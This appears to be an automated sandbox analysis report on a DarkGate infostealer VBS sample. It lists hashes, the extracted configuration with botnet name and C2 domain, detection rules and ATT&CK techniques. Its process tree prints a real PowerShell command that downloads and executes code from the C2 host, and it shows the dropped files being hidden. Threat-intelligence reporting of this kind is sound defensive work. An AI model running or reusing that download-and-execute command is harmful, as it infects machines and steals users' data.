darkgate | 885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13

General

Target

885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13.vbs
Size

7KB
MD5

4ff404ceede30c0ca73b97e26f20dfa8
SHA1

5b2644004b27a4b39502ad0d4a0193d0124588cb
SHA256

885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13
SHA512

4f8fbfb0dea83b81fcaff17cd4fea7cf888a99b186908f58b4b2d599b4a4f3df9bd9a8fadec7b25de5dea4dfaf416dca09ce6ce76a542ad32f0a96febe836ae1
SSDEEP

192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y999E6:jy19gR3IquNgzG2oNla

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

31yc.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
gWZTZaEo
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/940-42-0x00000000029A0000-0x0000000002A13000-memory.dmp	family_darkgate_v6
behavioral2/memory/940-45-0x00000000029A0000-0x0000000002A13000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
12	4864	powershell.exe
17	4864	powershell.exe
41	4864	powershell.exe
44	4864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
940	KeyScramblerLogon.exe

Loads dropped DLL 2 IoCs

pid	Process
940	KeyScramblerLogon.exe
940	KeyScramblerLogon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KeyScramblerLogon.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KeyScramblerLogon.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
940	KeyScramblerLogon.exe
940	KeyScramblerLogon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 492 wrote to memory of 4864	492	WScript.exe	93
PID 492 wrote to memory of 4864	492	WScript.exe	93
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 1428	4864	powershell.exe	110
PID 4864 wrote to memory of 1428	4864	powershell.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1428	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/gcwkaqrq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\ggrs\KeyScramblerLogon.exe
    "C:\ggrs\KeyScramblerLogon.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/ggrs/
    3⤵
    - Views/modifies file attributes
    PID:1428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4276 --field-trial-handle=2260,i,3739451884007376837,4900555371550671478,262144 --variations-seed-version /prefetch:8
1⤵
PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_heg4di2c.2ji.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\ggrs\KeyScramblerIE.DLL

Filesize
2.1MB

MD5
85e8143ef1b400569ec5479b72a405fc

SHA1
2326402a4972b1e6ec6dafd8db037f25ce908844

SHA256
09b00a21a6fbe6922967113531f102f406a2ccb1693c2b0587b9cdd8639ef312

SHA512
d0bf352275ff086260f3feedd910b664177538c08a9b986b938d44f2105aac82f56de82670a3d6935e513d77e1dbd823b771f8a62a0eeb7b43d455d73a1d476a

Download Submit
C:\ggrs\KeyScramblerLogon.exe

Filesize
500KB

MD5
c790ebfcb6a34953a371e32c9174fe46

SHA1
3ead08d8bbdb3afd851877cb50507b77ae18a4d8

SHA256
fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1

SHA512
74e3ab12b2a2d5c45c5248dd2225bfbcf237a01ef94fdca3fe99cfde11bd7d0ccd25dd7f26bd283997d951f4df7e8f4b35f9475a32bdb854d6cc8867b2c45554

Download Submit
C:\ggrs\test.txt

Filesize
457KB

MD5
a96c1c7d3b42de72af043728028a6536

SHA1
d646d9d9d0d53763ba0bb78f836a1c8733d89114

SHA256
02e931975c0288baf5c6aa3a5f3ac2462cb46e8c694f03fc49a64408d047a94a

SHA512
2f084d924ffd7e76abe5e371b3bfc80cb53304deb8b068a370bf4d77afd8a9074058c438149c822e0c99a76d526b84d56f25a9ce5074241863b13216df45f9df

Download Submit
memory/940-45-0x00000000029A0000-0x0000000002A13000-memory.dmp

Filesize
460KB

Download
memory/940-44-0x0000000000E40000-0x0000000001055000-memory.dmp

Filesize
2.1MB

Download
memory/940-42-0x00000000029A0000-0x0000000002A13000-memory.dmp

Filesize
460KB

Download
memory/940-39-0x0000000000E40000-0x0000000001055000-memory.dmp

Filesize
2.1MB

Download
memory/4864-13-0x000001FA66870000-0x000001FA66880000-memory.dmp

Filesize
64KB

Download
memory/4864-14-0x000001FA7EAC0000-0x000001FA7EC82000-memory.dmp

Filesize
1.8MB

Download
memory/4864-40-0x00007FFB03CB0000-0x00007FFB04771000-memory.dmp

Filesize
10.8MB

Download
memory/4864-11-0x000001FA66870000-0x000001FA66880000-memory.dmp

Filesize
64KB

Download
memory/4864-12-0x000001FA66870000-0x000001FA66880000-memory.dmp

Filesize
64KB

Download
memory/4864-0-0x000001FA66880000-0x000001FA668A2000-memory.dmp

Filesize
136KB

Download
memory/4864-10-0x00007FFB03CB0000-0x00007FFB04771000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads